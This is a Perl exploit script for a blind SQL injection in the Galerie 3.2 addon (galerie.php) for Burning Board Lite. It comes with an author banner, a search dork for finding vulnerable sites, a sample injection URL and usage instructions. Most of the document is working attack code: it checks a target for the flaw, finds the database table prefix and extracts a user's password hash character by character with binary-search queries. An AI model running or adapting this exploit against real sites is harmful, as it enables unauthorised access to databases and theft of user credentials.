#!/usr/bin/perl
#####################################################################################
#
# Galerie 3.2 (galerie.php) Remote "Blind" SQL Injection
#
# found by: J0hn.X3r
# exploit written by: J0hn.X3r and electron1x
# Date: 05.10.2008
# Dork: "Galerie 3.2 © 2004 by progressive"
#
# Contact:
# J0hn.X3r
# [+] ICQ: 573813
# [+] Mail: J0hn.X3r[at]gmail.com
# electron1x
# [+] Mail: electron1x *at* mail *dot* ru
#
# Greetz to: nexos, Barbers, -tmh-, Patrick_B, Sector, Loader007, n00bor
# Mac_Hack, Five-Three-Nine, f0Gx, bizzit, h0yt3r, no_swear_ftW,
# Lidloses_Auge, Sys-Flaw, Free-hack, Universal Crew & rest :-)
#
#####################################################################################
#
# First, Galerie 3.2 is an addon for Burning Board Lite.
#
# http://www.site.com/galerie.php?action=show&pic=10
#
# If we add a ' to the pic id we get an SQL Error. But the Query is an UPDATE Query, so we can't use UNION.
#
# We have to try it with a Blind SQL Injection.
# ( that slow and shitty subquery thingy ;) )
#
# injection:
# http://www.site.com/galerie.php?action=show&pic=10'/**/and/**/ascii(substring((SELECT/**/password/**/from/**/bb1_users/**/WHERE/**/userid=1),1,1))>1/*
#
#####################################################################################
use strict;
use warnings;
use LWP::UserAgent;
banner();
my $url = shift || usage($0);
my $usr_id = shift;
my $keyspace = "0123456789abcdef";
$usr_id = 1 unless ( $usr_id and $usr_id =~ /^\d+$/ );
$url = 'http://' . $url unless ( $url =~ /^https?:\/\/.+?\/$/ );
# global vars...
our @url = ( "$url/galerie.php?action=show&pic={id}%27+and+ascii(substring((SELECT+password+from+bb2_users+where+userid=$usr_id),1,1))", '', '/*' );
our $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/4.8 [en] (Windows NT 6.0; U)'); # btw we dont use windows ..
# regexes..
our $regex = 'Bild\ \d+\ von\ (\d+)';
my $prefix_regex = '(\w+)_galeriedata';
my $regex_id = 'pic=(\d+)';
my $prefix = '';
my $pic_id = '';
print "[~] Preparing attack...\n";
my $r = $ua->get($url . "/galerie.php?action=show&pic=%27");
die "\t[!!] Couldnt connect to $url!\n" unless ( $r->is_success );
die "\t[!!] Target doesnt seem to be vulnerable!\n" unless ( $r->content =~ /$prefix_regex/ );
print "\t[*] Target seems to be vulnerable\n";
$prefix = $1;
$url[0] =~ s/bb2/$prefix/;
$r = $ua->get($url . "/galerie.php");
die "\t[!!] Couldnt get a valid pic-id\n" unless ( $r->content =~ /$regex_id/ );
$pic_id = $1;
$url[0] =~ s/{id}/$pic_id/;
print "\t[*] Using table prefix $prefix\n";
print "\t[*] Using pic-id $pic_id\n";
print "[~] Unleashing Black Magic...\n";
print STDERR "\t[*] Getting Hash ";
for ( 1..32 ) {
$url[0] =~ s/\),\d{1,2},/\),$_,/;
blind( build_array($keyspace), 0, 16);
}
print "\n";
sub banner
{
print "[~] Galerie 3.2 WBB Lite Addon Blind SQL-Injection Exploit\n";
print "[~] Written by J0hn.x3r and electron1x\n\n"
}
sub usage
{
my $script = shift;
print "[*] Usage\n" ,
"\t$script <host> <opt: user id>\n" ,
"\tuser id defaults to 1\n" ,
"[*] Examples\n" ,
"\t$script http://example.com/forum/ 2\n" ,
"\t$script localhost/board/\n" ,
"\t$script localhost 31337\n";
exit(0);
}
sub blind
{
my ( $keyspace, $bottom, $top ) = @_;
my $center = int ($bottom+$top)/2;
print STDERR chr $$keyspace[$center];
if ( request($$keyspace[$center], '=')) {
return;
} elsif ( $top-$bottom > 0) {
print STDERR "\b";
return blind($keyspace, $center+1, $top )
unless ( request($$keyspace[$center], '<') );
return blind($keyspace, $bottom, $center-1);
} else {
print STDERR "\n[!!] Something went wront, dunno what..\n";
exit(1);
}
}
sub build_array
{
my @sorted = sort {$a<=>$b} map {ord} $_[0] =~ /./g;
return \@sorted;
}
sub request
{
my ( $key, $flag ) = @_;
my $r = $ua->get($url[0] . $flag . $url[1] . $key . $url[2]);
$r->content =~ /$regex/;
return ($1 > 0);
}
__END__
